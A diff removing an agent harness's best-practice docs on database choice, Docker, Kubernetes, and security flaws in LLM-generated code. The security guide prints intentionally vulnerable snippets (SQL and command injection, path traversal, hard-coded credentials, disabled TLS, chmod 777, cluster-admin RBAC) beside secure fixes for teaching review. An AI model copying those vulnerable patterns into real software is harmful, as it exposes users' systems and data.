-- [IETF Idempotency-Key Header Draft](https://datatracker.ietf.org/doc/draft-ietf-httpapi-idempotency-key-header/)
-- [Google AIP-193: Errors](https://google.aip.dev/193)
-- [ByteByteGo: REST API Design](https://blog.bytebytego.com/p/the-art-of-rest-api-design-idempotency)
-- [Zuplo: Rate Limiting Best Practices](https://zuplo.com/learning-center/10-best-practices-for-api-rate-limiting-in-2025)
-- [Zuplo: Input/Output Validation](https://zuplo.com/blog/2025/03/25/input-output-validation-best-practices)
-- [OWASP Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)
-- [Machine Identity: mTLS + SPIFFE Zero Trust Guide](https://petronellatech.com/blog/machine-identity-is-the-new-perimeter-mtls-spiffe-for-zero-trust/)
-- [Buoyant: Zero Trust, mTLS, and the Service Mesh](https://www.buoyant.io/blog/zero-trust-mtls-and-the-service-mesh-explained)
-- [Kong: Zero Trust with Service Mesh](https://konghq.com/blog/engineering/zero-trust-service-mesh-security)
-- [Microsoft Azure: Web API Design Best Practices](https://learn.microsoft.com/en-us/azure/architecture/best-practices/api-design)

harnesses/contexts/planning/v1/best-practices/database-selection.md

@@ -1,100 +0,0 @@
-# Database Selection
-
-## The Rule: SQLite Is Not a Production Database
-
-**Any service that meets ANY of the following criteria MUST use PostgreSQL (or equivalent server-grade database) from day one:**
-
-- Attached to a FQDN (has a real domain name, even internal)
-- Serves traffic from more than one process (API consumers, CI runners, webhooks, polling)
-- Backs infrastructure that other systems depend on (Git hosting, container registries, auth providers)
-- Will be accessed concurrently by automated systems (ArgoCD, CI runners, cron jobs)
-
-**Do not use SQLite for these workloads. Not temporarily. Not "to start with." Not "we'll migrate later."**
-
-SQLite uses file-level locking — only one writer at a time, and writes block reads. Under concurrent access, requests queue up waiting for the write lock, causing cascading timeouts. The failure mode is insidious: the service appears to work fine under light load but becomes intermittently unresponsive under real workloads. By the time you notice, everything that depends on it is also failing.
-
-## The Cost of "We'll Migrate Later"
-
-The Gitea SQLite→PostgreSQL migration (2026-03-28) cost nearly a full day of productivity:
-
-- **Hours of accumulated unresponsiveness** across multiple projects before root cause was identified
-- **Planning and implementation** of the migration itself
-- **Migration complexity** that didn't need to exist: Gitea 1.23 has no `restore` command, `doctor convert` only handles charset conversion, `docker cp` corrupted PostgreSQL directory permissions, SSH authorized_keys weren't regenerated
-- **Downstream impact** on ArgoCD (20 apps polling a locked database), CI runners (continuous 500 errors), container registry pulls (timeouts)
-
-The PostgreSQL container takes 5 minutes to add to a Docker Compose stack at initial setup time. The migration took a day. Always pay the 5 minutes upfront.
-
-## When SQLite Is Acceptable
-
-SQLite is fine for:
-- Local development databases (single developer, single process)
-- Embedded application data stores (mobile apps, desktop apps, CLI tools)
-- Read-heavy workloads with rare writes and a single writer process
-- Test fixtures and throwaway data
-- Configuration stores read at startup (not at request time)
-
-## Implementation Pattern
-
-For Docker Compose services that need a database:
-
-```yaml
-services:
-  postgres:
-    image: postgres:17-alpine
-    restart: unless-stopped
-    environment:
-      POSTGRES_DB: myapp
-      POSTGRES_USER: myapp
-      POSTGRES_PASSWORD: {{ db_password }}
-    volumes:
-      - /opt/postgres-myapp:/var/lib/postgresql/data
-    healthcheck:
-      test: ["CMD-SHELL", "pg_isready -U myapp -d myapp"]
-      interval: 10s
-      timeout: 5s
-      retries: 5
-      start_period: 30s
-    networks:
-      - app_internal
-    deploy:
-      resources:
-        limits:
-          memory: 1G
-
-  myapp:
-    depends_on:
-      postgres:
-        condition: service_healthy
-    networks:
-      - app_internal
-      - external_network
-
-networks:
-  app_internal:
-    driver: bridge
-    internal: true
-```
-
-Key points:
-- PostgreSQL on an **internal bridge network** (no external access needed)
-- Application **depends on PostgreSQL health** before starting
-- **Resource limits** to prevent runaway memory usage
-- **Separate data directory** per application (`/opt/postgres-myapp`, not shared)
-- PostgreSQL container UID is **999** (not 1000) — set directory ownership accordingly
-
-## For Kubernetes Deployments
-
-Use the application's Helm chart PostgreSQL subchart, or deploy a standalone PostgreSQL instance:
-- Bitnami PostgreSQL Helm chart for simple deployments
-- CloudNativePG operator for production-grade PostgreSQL with HA, backups, and failover
-- Never use SQLite with `emptyDir` or even PVC-backed volumes in multi-replica deployments
-
-## Checklist for New Service Deployment
-
-Before deploying any new service, check:
-
-1. What database does the default configuration use?
-2. If SQLite: does the service support PostgreSQL? (Almost all do — Gitea, Authelia, Headscale, Zulip, etc.)
-3. Switch to PostgreSQL **before the first deployment**, not after problems appear
-4. Add the database password to SOPS-encrypted secrets
-5. Verify the database connection works before adding consumers

harnesses/contexts/planning/v1/best-practices/docker.md

@@ -1,47 +0,0 @@
-# Docker Best Practices
-
-## Use gosu for Entrypoint Privilege Dropping
-
-`su -c "command"` and `sudo -u agent command` create child processes. The real command is not PID 1, so Docker signals (SIGTERM on stop) don't reach it. Use `gosu agent command` which execs directly — the command becomes PID 1 with proper signal handling.
-
-## GIT_SSH_COMMAND Only Affects Git-Invoked SSH
-
-`GIT_SSH_COMMAND` only applies when git invokes SSH (clone, push, fetch). Direct `ssh` calls need explicit flags: `ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null`. Don't assume setting `GIT_SSH_COMMAND` fixes all SSH operations in a container.
-
-## Use Python urllib for Health Checks in Slim Images
-
-Service images based on `python:3.12-slim` don't include curl. For in-container health checks, use `python3 -c "import urllib.request; urllib.request.urlopen('http://...')"`. This applies to verification scripts using `kubectl exec` and to Kubernetes liveness/readiness probes that exec into containers.
-
-## Buildx Docker-Container Driver Can't See Local Images
-
-When using buildx with the docker-container driver, `FROM local-image:latest` tries Docker Hub because the builder runs in a separate container that can't see locally-loaded images. Always use the full registry path in Dockerfiles. In CI, split into sequential jobs so base images are pushed to the registry before dependent images build.
-
-## Delete Conflicting Default Users at Build Time
-
-Ubuntu 24.04 base images ship with a `ubuntu` user at UID 1000 — the most common host UID. This causes `usermod -u 1000` conflicts and can trigger non-deterministic hangs (e.g., `newgrp ubuntu` waiting for a password on stdin). Delete the default user in the Dockerfile: `RUN userdel -r ubuntu`.
-
-## Service Images Should Use Minimal Base Images
-
-Service images (API servers, background workers) should use `python:3.12-slim` or equivalent, not the agent base image. Agent base images include CLIs, Node.js, and other tooling that bloats service images unnecessarily. Keep agent tooling in agent images only.
-
-## Platform-Specific Native Binaries
-
-Never mount host `node_modules` into a Docker container when the build uses platform-specific native binaries (e.g., Tailwind CSS, esbuild, SWC). Always run `npm install` inside the same container that runs the build. The native binary is compiled for the platform where `npm install` runs — host and container may differ in libc, architecture, or OS.
-
-**Symptom:** `Cannot find native binding` or `Cannot find module '@tailwindcss/oxide-linux-x64-gnu'`
-**Fix:** Run `npm install` inside the container, not on the host.
-
-## Docker Wrapper Scripts and TTY Flags
-
-Docker wrapper scripts (e.g., `~/sbin/hugo` calling `docker run -it ...`) fail with `the input device is not a TTY` in non-interactive contexts (CI pipelines, Claude Code, cron jobs, scripts).
-
-**Fix:** Only pass `-t` when stdin is a terminal: `[ -t 0 ] && TTY_FLAG="-t" || TTY_FLAG=""`. Or omit `-t` entirely and let callers add it when needed.
-
-## Three-Tier UID Resolution
-
-The UID wrapper should resolve the target UID/GID using this priority:
-1. **Environment variables** (`AGENT_UID`/`AGENT_GID`) — injected by the orchestrator/dispatcher. Preferred because it's explicit and deployment-specific.
-2. **stat the mount point** — detect the UID/GID of the mounted directory. Works when no env vars are set.
-3. **Skip** — if not root or no mount point exists, run as the default container user.
-
-This makes UID matching a deployment concern (varies per host), not a configuration concern (baked into images). See [Docker UID Matching](docker-uid-matching.md) for the full UID wrapper pattern.

harnesses/contexts/planning/v1/best-practices/kubernetes.md

@@ -1,69 +0,0 @@
-# Kubernetes Patterns
-
-## Volume Mounts
-
-- **Avoid `subPath` volume mounts** for Secrets and ConfigMaps. The kubelet does not auto-update `subPath` mounts when the source changes — the pod must be restarted. Use directory mounts instead and adjust the application's config path.
-- **Secret volume propagation is async.** After updating a Secret, the kubelet takes seconds to sync mounted volumes. A `rollout restart` issued immediately after may start pods with stale data. Add a short delay (5s) before restarting.
-
-## Deployment Strategies
-
-- **RWO PVC + RollingUpdate = Deadlock.** New pod can't attach the volume while the old pod holds it. Use `strategy: Recreate` for single-replica deployments with RWO PVCs.
-- **SSA + strategy change conflict.** Switching from RollingUpdate to Recreate via ServerSideApply fails because SSA won't remove the old `rollingUpdate` field. Must patch the live resource first.
-
-## Naming
-
-- `metadata.name` must be DNS-1035 compliant — no dots allowed. Replace dots with dashes (e.g., `oreillyit-nz` not `oreillyit.nz`). Label values CAN contain dots.
-
-## Bootstrap Ordering
-
-Some components have chicken-and-egg dependencies:
-1. CNI (e.g., Cilium) must be installed before anything else — nodes are NotReady without it
-2. GitOps controller (e.g., ArgoCD) installed second
-3. Root app applied last — the GitOps controller then "adopts" CLI-installed releases
-
-Manual bootstrap secrets (encryption keys, OIDC client secrets) must be documented as explicit steps.
-
-## Network Policies
-
-- DNS egress for `toFQDNs` rules must use `toEndpoints` targeting kube-dns pods with `rules.dns` — this triggers the DNS proxy. Using `toCIDRSet` for DNS bypasses the proxy and FQDN rules never populate.
-- Cross-namespace policies need explicit namespace matching (e.g., `matchExpressions` on namespace label).
-- Always test from the actual consumer namespace, not same-namespace test pods.
-
-## Probe Strategy
-
-- **Liveness vs readiness probes serve different purposes.** TCP checks confirm the process is listening (liveness). Exec/command checks confirm the application is ready to serve (readiness). Don't conflate them.
-- **Probes must match application host validation.** Applications that validate Host headers (e.g., Next.js `ALLOWED_HOSTS`) will reject probes sent to the pod IP. Set `httpGet.httpHeaders` with the expected Host value.
-- **Don't load credentials into liveness probes.** If readiness requires an authenticated check (e.g., `sqlcmd`), use a simple TCP check for liveness and reserve the authenticated check for readiness only.
-
-## Init Container Patterns
-
-- **Writable config via init container + emptyDir.** When apps require writable directories but ConfigMaps are read-only, use an init container to copy config into an emptyDir volume that the main container mounts read-write.
-- **Privilege separation.** Init containers can run as root to create directories or set ownership, while the main container runs as a non-root UID. Prefer this over running the entire workload as root.
-- **Non-root images have hidden filesystem requirements.** Many modern images (e.g., MSSQL 2022, UID 10001) need writable directories beyond the obvious ones. Always check image documentation or `docker inspect` before writing manifests.
-
-## StatefulSet Edge Cases
-
-- **CrashLoopBackOff pods won't auto-replace on spec update.** The StatefulSet controller won't delete and recreate a crashing pod when you update the spec — manual `kubectl delete pod` is required to force recreation.
-- **Immutable field diffs can deadlock auto-sync.** StatefulSet fields like `volumeClaimTemplates` are immutable after creation. GitOps controllers (ArgoCD) will show permanent OutOfSync if the desired state differs from the live immutable fields. Force sync or recreate the StatefulSet.
-- **SSA causes perpetual OutOfSync from defaulted fields.** Kubernetes defaults fields on StatefulSets (`persistentVolumeClaimRetentionPolicy`, `revisionHistoryLimit`, `updateStrategy.rollingUpdate.partition`) that aren't in the Helm template. With `ServerSideApply=true`, GitOps controllers see these as diffs and report OutOfSync even though the app is Healthy. The app functions correctly — this is cosmetic. Consider ArgoCD `ignoreDifferences` for these fields.
-
-## GitOps: Imperative vs Declarative
-
-- **Never use imperative operations on GitOps-managed resources.** `kubectl rollout restart` adds annotations that conflict with the GitOps controller's desired state, causing permanent OutOfSync. Use declarative paths instead — update a configmap hash annotation in Git, or change a pod template label.
-- **ArgoCD reconciliation has latency.** New Application manifests don't appear immediately due to polling intervals. Use manual refresh annotations when automation needs immediate reconciliation.
-
-## PodSecurity Alignment
-
-- **Namespace PodSecurity labels must match container security contexts.** DinD, CSI drivers, and other privileged workloads need `pod-security.kubernetes.io/enforce: privileged` on their namespace. A `baseline` or `restricted` namespace silently blocks privileged pods.
-- **Document privileged namespace requirements.** When a workload needs elevated privileges, document the specific requirement (e.g., "Docker-in-Docker for CI builds") alongside the namespace label.
-
-## ArgoCD Source Type Detection
-
-- **ArgoCD auto-detects Kustomize.** When a source directory contains `kustomization.yaml`, ArgoCD runs Kustomize automatically. Adding an explicit `directory:` source type overrides this detection and causes ArgoCD to try applying `kustomization.yaml` as a raw K8s resource, which fails with schema errors. Remove explicit directory source types from Kustomize sources.
-- **Credential template URL-prefix must match exactly.** ArgoCD repo-creds secrets use URL prefix matching. When migrating Git server URLs (hostname, protocol, or port changes), update the credential template to match the new prefix. Stale credentials cause "authentication required" errors on all apps using that prefix.
-
-## Miscellaneous
-
-- `enableServiceLinks: false` may be needed when K8s-injected service env vars conflict with app config (e.g., Authelia interprets `AUTHELIA_*` service vars as configuration).
-- Proxmox VM names must match K8s node hostnames for cloud controller manager integration.
-- Metrics-server on Talos needs `--kubelet-insecure-tls` (self-signed kubelet certs).

harnesses/contexts/planning/v1/best-practices/llm-code-security.md

@@ -1,800 +0,0 @@
-# Security of LLM-Generated Code
-
-Practical guide to security vulnerabilities commonly introduced by LLMs (Claude, GPT-4, Copilot) when generating Python, shell scripts, Kubernetes manifests, and Helm charts. Based on published research from 2024-2026.
-
-## Key Statistics
-
-- 25-75% of AI-generated code contains security vulnerabilities depending on language, model, and prompting (Endor Labs, multiple academic studies)
-- 29.5% of Copilot-generated Python snippets and 24.2% of JavaScript snippets contain security weaknesses across 43 CWE categories (ACM study, 2024)
-- 19.7% of LLM-suggested packages are hallucinations -- non-existent package names (slopsquatting study, 576,000 code samples across 16 models)
-- 80% of AI-suggested dependencies contain known risks (Endor Labs 2025 State of Dependency Management Report)
-- Repositories with Copilot active show 6.4% secret leakage rate, 40% higher than the 4.6% baseline across public repos
-
----
-
-## 1. OWASP Top 10 in LLM-Generated Code
-
-Missing input sanitization is the single most common security flaw in LLM-generated code across all languages and models. The most prevalent CWE categories are:
-
-| CWE | Name | Frequency |
-|-----|------|-----------|
-| CWE-89 | SQL Injection | Very High |
-| CWE-79 | Cross-Site Scripting (XSS) | Very High |
-| CWE-78 | OS Command Injection | High |
-| CWE-22 | Path Traversal | High |
-| CWE-20 | Improper Input Validation | Very High |
-| CWE-259/798 | Hard-coded Credentials | High |
-| CWE-330 | Insufficiently Random Values | High |
-| CWE-94 | Code Injection | High |
-| CWE-120/787 | Buffer Overflow | Medium (C/C++) |
-| CWE-918 | SSRF | Medium |
-
-### What LLMs get wrong
-
-LLMs generate code that "works" for the happy path but omits defensive coding. They reproduce patterns from training data, which is full of tutorials and Stack Overflow snippets that skip security for brevity. The model optimises for functional correctness, not security.
-
-### SQL Injection
-
-**Vulnerable pattern (Python):**
-```python
-# LLM-generated: string interpolation in SQL
-def get_user(username):
-    query = f"SELECT * FROM users WHERE username = '{username}'"
-    cursor.execute(query)
-    return cursor.fetchone()
-```
-
-**Secure alternative:**
-```python
-def get_user(username):
-    cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
-    return cursor.fetchone()
-```
-
-### Command Injection
-
-**Vulnerable pattern (Python):**
-```python
-import subprocess
-def ping_host(hostname):
-    result = subprocess.run(f"ping -c 1 {hostname}", shell=True, capture_output=True)
-    return result.stdout
-```
-
-**Secure alternative:**
-```python
-import subprocess
-import shlex
-def ping_host(hostname):
-    # Validate hostname format first
-    if not re.match(r'^[a-zA-Z0-9._-]+$', hostname):
-        raise ValueError("Invalid hostname")
-    result = subprocess.run(["ping", "-c", "1", hostname], capture_output=True)
-    return result.stdout
-```
-
-### Command Injection (Shell Scripts)
-
-**Vulnerable pattern:**
-```bash
-#!/bin/bash
-# LLM-generated: unquoted variable in command
-filename=$1
-cat $filename | grep "pattern"
-```
-
-**Secure alternative:**
-```bash
-#!/bin/bash
-filename="$1"
-# Validate the path is within expected directory
-realpath_file="$(realpath -- "$filename")"
-if [[ "$realpath_file" != /expected/dir/* ]]; then
-    echo "Error: path outside allowed directory" >&2
-    exit 1
-fi
-grep "pattern" -- "$filename"
-```
-
-### Path Traversal
-
-**Vulnerable pattern (Python):**
-```python
-@app.route('/files/<path:filename>')
-def serve_file(filename):
-    return send_file(os.path.join('/data', filename))
-```
-
-**Secure alternative:**
-```python
-@app.route('/files/<path:filename>')
-def serve_file(filename):
-    # send_from_directory validates the path stays within the directory
-    return send_from_directory('/data', filename)
-```
-
-### How to catch it in review
-
-- Search for string formatting in SQL: `f"SELECT`, `f"INSERT`, `f"UPDATE`, `f"DELETE`, `"SELECT.*" %`, `"SELECT.*" +`
-- Search for `shell=True` in subprocess calls
-- Search for `os.path.join` with user-controlled input without path validation
-- Search for unquoted `$variables` in shell scripts
-- Use SAST tools: Bandit (Python), ShellCheck (bash), semgrep with security rulesets
-
----
-
-## 2. Secrets and Credentials
-
-### What LLMs get wrong
-
-LLMs frequently hardcode secrets directly into generated code. This happens because training data is full of tutorials with placeholder credentials that look real, and the model replicates the pattern. CWE-259 (Hard-coded Password) and CWE-798 (Hard-coded Credentials) are among the most common LLM-generated vulnerabilities.
-
-Copilot specifically has been shown to leak secrets from its training context -- researchers built algorithms that generate prompts designed to extract secrets by inducing Copilot to disclose original credentials from training data.
-
-### Vulnerable patterns
-
-**Hardcoded API key (Python):**
-```python
-API_KEY = "sk-proj-abc123def456..."
-client = openai.OpenAI(api_key=API_KEY)
-```
-
-**Hardcoded database credentials (Python):**
-```python
-conn = psycopg2.connect(
-    host="db.example.com",
-    user="admin",
-    password="supersecret123",
-    database="production"
-)
-```
-
-**Hardcoded token in shell script:**
-```bash
-curl -H "Authorization: Bearer ghp_abc123def456" https://api.github.com/repos
-```
-
-**Secrets in Kubernetes manifests:**
-```yaml
-env:
-  - name: DATABASE_PASSWORD
-    value: "plaintext-password-here"  # Not a Secret reference
-```
-
-### Secure alternatives
-
-**Python -- environment variables or file-based secrets:**
-```python
-import os
-API_KEY = os.environ["OPENAI_API_KEY"]
-# Or read from a mounted secret file
-with open("/run/secrets/api_key") as f:
-    API_KEY = f.read().strip()
-```
-
-**Shell -- read from file, never as CLI argument:**
-```bash
-# Read token from file (not visible in ps output)
-TOKEN="$(cat /path/to/secret/file)"
-curl -H "Authorization: Bearer ${TOKEN}" https://api.github.com/repos
-```
-
-**Kubernetes -- reference a Secret object:**
-```yaml
-env:
-  - name: DATABASE_PASSWORD
-    valueFrom:
-      secretKeyRef:
-        name: db-credentials
-        key: password
-```
-
-### How to catch it in review
-
-- Run `detect-secrets scan` or `gitleaks` on every commit (pre-commit hook)
-- Search for patterns: `password =`, `api_key =`, `token =`, `secret =` with string literal values
-- Search for `Bearer ` followed by a literal string in shell scripts
-- In Kubernetes manifests, search for `value:` under `env:` entries (should be `valueFrom:` for sensitive values)
-- Check that `.env` files are in `.gitignore`
-
----
-
-## 3. Dependency Risks
-
-### What LLMs get wrong
-
-LLMs hallucinate package names at alarming rates. A study of 576,000 code samples across 16 LLMs found 19.7% of suggested packages were hallucinations. Open-source models hallucinate at 21.7%, commercial models at 5.2%. Critically, 43% of hallucinated package names appeared consistently across repeated prompts, making them predictable targets.
-
-This enables **slopsquatting**: attackers register packages matching commonly hallucinated names and inject malicious code. 38% of hallucinated names were similar to real package names (not random strings), making them plausible-looking.
-
-Beyond hallucination, LLMs also suggest:
-- **Outdated versions** with known CVEs (training data lag)
-- **Deprecated packages** that have been superseded
-- **Packages with known vulnerabilities** -- 80% of AI-suggested dependencies contain known risks
-
-### Vulnerable patterns
-
-**Hallucinated package (Python):**
-```python
-# LLM suggests a package that doesn't exist (or was registered by an attacker)
-from flask_security_utils import sanitize_input  # Not a real package
-```
-
-**Pinned to vulnerable version:**
-```
-# requirements.txt generated by LLM
-requests==2.25.1  # Known CVE in older versions
-pyjwt==1.7.1      # Known vulnerabilities
-```
-
-**Overly broad dependency (shell):**
-```bash
-pip install cryptography  # Without version pin -- could get a compromised version
-```
-
-### Secure alternatives
-
-- **Always verify packages exist** on PyPI/npm/etc. before using LLM-suggested imports
-- **Pin versions and verify them:**
-  ```
-  requests==2.32.3  # Verified from PyPI, no known CVEs
-  ```
-- **Use lockfiles** (`pip freeze`, `poetry.lock`, `package-lock.json`) and audit them
-- **Run dependency scanners:** `pip-audit`, `npm audit`, `trivy fs .`
-
-### How to catch it in review
-
-- Run `pip install --dry-run` or equivalent to verify packages resolve before committing
-- Use `pip-audit` / `npm audit` / `trivy` in CI to catch known vulnerabilities
-- Compare LLM-suggested package names against registry search results
-- Be suspicious of packages with very few downloads or recent creation dates
-- Search for version pins and verify them against current stable releases
-
----
-
-## 4. Over-Permissive Defaults
-
-### What LLMs get wrong
-
-LLMs default to the most permissive configuration because it "works" with the least friction. Training data is full of tutorials and quick-start guides that use wide-open settings. The model has no concept of a deployment environment or threat model.
-
-### Vulnerable patterns
-
-**Binding to all interfaces (Python):**
-```python
-app.run(host="0.0.0.0", port=8080, debug=True)  # Exposed to network + debug mode
-```
-
-**Wide-open CORS (Python/Flask):**
-```python
-CORS(app, origins="*", supports_credentials=True)
-```
-
-**Permissive file permissions (shell):**
-```bash
-chmod 777 /app/data
-chmod 666 /etc/config/credentials.yaml
-```
-
-**Disabled TLS verification (Python):**
-```python
-requests.get(url, verify=False)
-```
-
-**Kubernetes Service exposed externally by default:**
-```yaml
-apiVersion: v1
-kind: Service
-metadata:
-  name: my-app
-spec:
-  type: LoadBalancer  # Exposed to the network
-  ports:
-    - port: 80
-```
-
-### Secure alternatives
-
-**Bind to localhost unless external access is needed:**
-```python
-app.run(host="127.0.0.1", port=8080, debug=False)
-```
-
-**Explicit CORS origins:**
-```python
-CORS(app, origins=["https://app.example.com"], supports_credentials=True)
-```
-
-**Restrictive file permissions:**
-```bash
-chmod 750 /app/data        # Owner rwx, group rx, others none
-chmod 640 /etc/config/credentials.yaml  # Owner rw, group r, others none
-```
-
-**TLS verification enabled (always):**
-```python
-requests.get(url, verify=True)  # Default, but be explicit
-# If using internal CA:
-requests.get(url, verify="/etc/ssl/certs/internal-ca.pem")
-```
-
-**ClusterIP by default, expose deliberately:**
-```yaml
-apiVersion: v1
-kind: Service
-metadata:
-  name: my-app
-spec:
-  type: ClusterIP  # Internal only, use Ingress for external access
-  ports:
-    - port: 80
-```
-
-### How to catch it in review
-
-- Search for `0.0.0.0`, `host="0.0.0.0"`, `debug=True` in application code
-- Search for `origins="*"` or `Access-Control-Allow-Origin: *` in CORS config
-- Search for `chmod 777`, `chmod 666`, or any world-readable/writable permissions
-- Search for `verify=False` in HTTP client calls
-- Search for `type: LoadBalancer` or `type: NodePort` in Kubernetes manifests without explicit justification
-- Search for `GRANT ALL` in database setup scripts
-
----
-
-## 5. Infrastructure-as-Code Risks
-
-### What LLMs get wrong
-
-LLMs generate Kubernetes manifests and Helm charts that are functionally correct but security-negligent. They omit security contexts, resource limits, network policies, and run containers as root by default. Research (GenKubeSec, KubeGuard) found that LLMs can "confidently recommend configurations that introduce new vulnerabilities" including suggesting "allow all" rules just to satisfy constraints.
-
-### Vulnerable patterns
-
-**Privileged container (Kubernetes):**
-```yaml
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: my-app
-spec:
-  template:
-    spec:
-      containers:
-        - name: my-app
-          image: my-app:latest  # No digest, mutable tag
-          # No securityContext at all -- runs as root
-          # No resource limits -- can consume entire node
-          # No readOnlyRootFilesystem
-```
-
-**Overly broad RBAC:**
-```yaml
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: my-app
-subjects:
-  - kind: ServiceAccount
-    name: my-app
-roleRef:
-  kind: ClusterRole
-  name: cluster-admin  # Full cluster access
-```
-
-**No NetworkPolicy (default allows all traffic):**
-```yaml
-# LLMs typically omit NetworkPolicy entirely
-# Without it, any pod can talk to any other pod
-```
-
-**Helm values without security defaults:**
-```yaml
-# values.yaml generated by LLM
-replicaCount: 1
-image:
-  repository: my-app
-  tag: latest  # Mutable, unpinned
-service:
-  type: LoadBalancer  # Externally exposed
-# No securityContext, no resources, no networkPolicy
-```
-
-### Secure alternatives
-
-**Hardened container:**
-```yaml
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: my-app
-spec:
-  template:
-    spec:
-      automountServiceAccountToken: false
-      securityContext:
-        runAsNonRoot: true
-        runAsUser: 1000
-        runAsGroup: 1000
-        fsGroup: 1000
-        seccompProfile:
-          type: RuntimeDefault
-      containers:
-        - name: my-app
-          image: my-app@sha256:abc123...  # Pinned by digest
-          securityContext:
-            allowPrivilegeEscalation: false
-            readOnlyRootFilesystem: true
-            capabilities:
-              drop: ["ALL"]
-          resources:
-            requests:
-              cpu: 100m
-              memory: 128Mi
-            limits:
-              cpu: 500m
-              memory: 256Mi
-```
-
-**Least-privilege RBAC:**
-```yaml
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role  # Namespaced, not ClusterRole
-metadata:
-  name: my-app
-  namespace: my-namespace
-rules:
-  - apiGroups: [""]
-    resources: ["configmaps"]
-    verbs: ["get", "list"]  # Only what's needed
-```
-
-**Default-deny NetworkPolicy:**
-```yaml
-apiVersion: networking.k8s.io/v1
-kind: NetworkPolicy
-metadata:
-  name: my-app
-spec:
-  podSelector:
-    matchLabels:
-      app: my-app
-  policyTypes: ["Ingress", "Egress"]
-  ingress:
-    - from:
-        - podSelector:
-            matchLabels:
-              app: frontend
-      ports:
-        - port: 8080
-  egress:
-    - to:
-        - podSelector:
-            matchLabels:
-              app: database
-      ports:
-        - port: 5432
-```
-
-### How to catch it in review
-
-- Run `kubesec scan`, `kube-linter`, or `trivy config` against manifests
-- Search for `privileged: true`, `allowPrivilegeEscalation: true` (should almost never appear)
-- Search for `cluster-admin` in RBAC bindings
-- Check that every Deployment/StatefulSet has `resources:` limits and `securityContext:`
-- Check that every namespace has at least one NetworkPolicy
-- Search for `image:.*:latest` -- tags should be pinned to specific versions or digests
-- Check for `automountServiceAccountToken: false` on pods that don't need the K8s API
-- In Helm charts, verify `values.yaml` includes security defaults, not just functional defaults
-
----
-
-## 6. Input Validation Gaps
-
-### What LLMs get wrong
-
-LLMs generate code that handles the happy path but skips validation of types, lengths, formats, and ranges. They omit validation unless explicitly prompted, because training data (tutorials, examples) does the same. The model has no awareness of the threat model or what inputs are user-controlled.
-
-### Vulnerable patterns
-
-**No type/length validation (Python API):**
-```python
-@app.route('/api/users', methods=['POST'])
-def create_user():
-    data = request.get_json()
-    username = data['username']  # No validation at all
-    email = data['email']        # No format check
-    age = data['age']            # No type or range check
-    db.execute("INSERT INTO users (username, email, age) VALUES (%s, %s, %s)",
-               (username, email, age))
-```
-
-**No path validation (shell):**
-```bash
-#!/bin/bash
-# LLM-generated backup script
-BACKUP_DIR="$1"
-cp -r /important/data "$BACKUP_DIR"  # No validation of $1
-```
-
-### Secure alternatives
-
-**Validated API input (Python):**
-```python
-from pydantic import BaseModel, EmailStr, Field
-
-class CreateUserRequest(BaseModel):
-    username: str = Field(min_length=3, max_length=50, pattern=r'^[a-zA-Z0-9_]+$')
-    email: EmailStr
-    age: int = Field(ge=0, le=150)
-
-@app.route('/api/users', methods=['POST'])
-def create_user():
-    data = CreateUserRequest(**request.get_json())  # Validates or raises 422
-    db.execute("INSERT INTO users (username, email, age) VALUES (%s, %s, %s)",
-               (data.username, data.email, data.age))
-```
-
-**Validated shell input:**
-```bash
-#!/bin/bash
-BACKUP_DIR="$1"
-if [[ -z "$BACKUP_DIR" ]]; then
-    echo "Error: backup directory required" >&2
-    exit 1
-fi
-if [[ ! -d "$BACKUP_DIR" ]]; then
-    echo "Error: '$BACKUP_DIR' is not a directory" >&2
-    exit 1
-fi
-# Resolve and validate path
-REAL_DIR="$(realpath -- "$BACKUP_DIR")"
-if [[ "$REAL_DIR" != /allowed/backup/* ]]; then
-    echo "Error: backup directory must be under /allowed/backup/" >&2
-    exit 1
-fi
-cp -r /important/data "$REAL_DIR"
-```
-
-### How to catch it in review
-
-- Check that all API endpoints use schema validation (Pydantic, marshmallow, JSON Schema, Joi)
-- Search for `request.get_json()`, `request.args`, `request.form` usage without subsequent validation
-- In shell scripts, check that all positional parameters (`$1`, `$2`, etc.) are validated before use
-- Look for direct use of user input in file operations, database queries, or system commands
-- Verify that numeric inputs have range checks and string inputs have length/format checks
-
----
-
-## 7. Error Handling That Leaks Information
-
-### What LLMs get wrong
-
-LLMs generate code with verbose error handling that exposes internal details -- stack traces, file paths, database schemas, SQL queries, internal hostnames. This happens because training data includes development-mode error handling, and the model doesn't distinguish between dev and production contexts.
-
-### Vulnerable patterns
-
-**Leaking stack traces (Python/Flask):**
-```python
-@app.errorhandler(Exception)
-def handle_error(e):
-    return jsonify({
-        "error": str(e),
-        "traceback": traceback.format_exc(),  # Full stack trace
-        "query": last_query,                   # SQL query that failed
-    }), 500
-```
-
-**Leaking database details:**
-```python
-try:
-    cursor.execute(query)
-except psycopg2.Error as e:
-    return f"Database error: {e}"  # Includes table names, column names, query
-```
-
-**Leaking file paths (shell):**
-```bash
-echo "Error: failed to read config from /etc/myapp/secrets/database.yaml"
-echo "Stack: $(python3 -c 'import traceback; traceback.print_exc()')"
-```
-
-### Secure alternatives
-
-**Generic error response with internal logging:**
-```python
-import logging
-logger = logging.getLogger(__name__)
-
-@app.errorhandler(Exception)
-def handle_error(e):
-    logger.exception("Unhandled exception")  # Full details go to logs
-    return jsonify({"error": "Internal server error"}), 500  # Generic to client
-```
-
-**Safe database error handling:**
-```python
-try:
-    cursor.execute(query, params)
-except psycopg2.Error as e:
-    logger.exception("Database query failed")
-    return jsonify({"error": "A database error occurred"}), 500
-```
-
-### How to catch it in review
-
-- Search for `traceback.format_exc()` or `traceback.print_exc()` in response-building code
-- Search for `str(e)` or `repr(e)` in API responses (should go to logs, not clients)
-- Check that `DEBUG = False` / `debug=False` in production config
-- Verify error handlers return generic messages and log details internally
-- Search for internal paths (`/etc/`, `/home/`, `/var/`) in user-facing error strings
-
----
-
-## 8. Cryptography Mistakes
-
-### What LLMs get wrong
-
